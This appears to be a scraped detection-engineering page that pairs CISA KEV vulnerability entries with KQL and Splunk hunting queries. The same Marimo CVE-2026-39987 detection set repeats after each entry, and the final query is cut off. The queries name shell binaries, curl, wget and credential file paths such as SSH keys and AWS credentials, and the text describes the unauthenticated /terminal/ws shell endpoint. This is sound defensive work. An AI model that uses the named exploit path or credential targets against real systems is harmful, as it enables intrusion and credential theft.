AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-01-224 use cases0 techniques3 kill-chain phases detected
Synacor Zimbra Collaboration Suite (ZCS) contains a PHP remote file inclusion vulnerability that could allow for remote attackers to craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory. Vendor: Synacor, Product: Zimbra Collaboration Suite (ZCS). Federal patch due: 2026-02-12.
CVEsCVE-2025-68645
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-68645")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-68645")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-01-224 use cases0 techniques3 kill-chain phases detected
Versa Concerto SD-WAN orchestration platform contains an improper authentication vulnerability in the Traefik reverse proxy configuration, allowing at attacker to access administrative endpoints. The internal Actuator endpoint can be leveraged for access to heap dumps and trace logs. Vendor: Versa, Product: Concerto. Federal patch due: 2026-02-12.
CVEsCVE-2025-34026
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-34026")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-34026")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-01-225 use cases0 techniques3 kill-chain phases detected
Prettier eslint-config-prettier contains an embedded malicious code vulnerability. Installing an affected package executes an install.js file that launches the node-gyp.dll malware on Windows. Vendor: Prettier, Product: eslint-config-prettier. Federal patch due: 2026-02-12.
CVEsCVE-2025-54313
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-54313")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-54313")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — CISA KEV: CVE-2025-54313 — Prettier eslint-config-prettier Embedded Malicious Co
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("install.js", "node-gyp.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("install.js", "node-gyp.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — CISA KEV: CVE-2025-54313 — Prettier eslint-config-prettier Embedded Malicious Co ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("install.js","node-gyp.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("install.js","node-gyp.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-01-210 use cases0 techniques0 kill-chain phases detected
Dan Tentler reveals how consumer hardware coupled with Home Assistant can monitor hotel rooms, detect occupants through walls, and trigger automated alerts.
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
—
Phase 5
Installation
—
Phase 6
Command & Control
—
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
2026-01-214 use cases0 techniques3 kill-chain phases detected
Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance contain a code injection vulnerability that could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root. Vendor: Cisco, Product: Unified Communications Manager. Federal patch due: 2026-02-11.
CVEsCVE-2026-20045
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-20045")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-20045")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
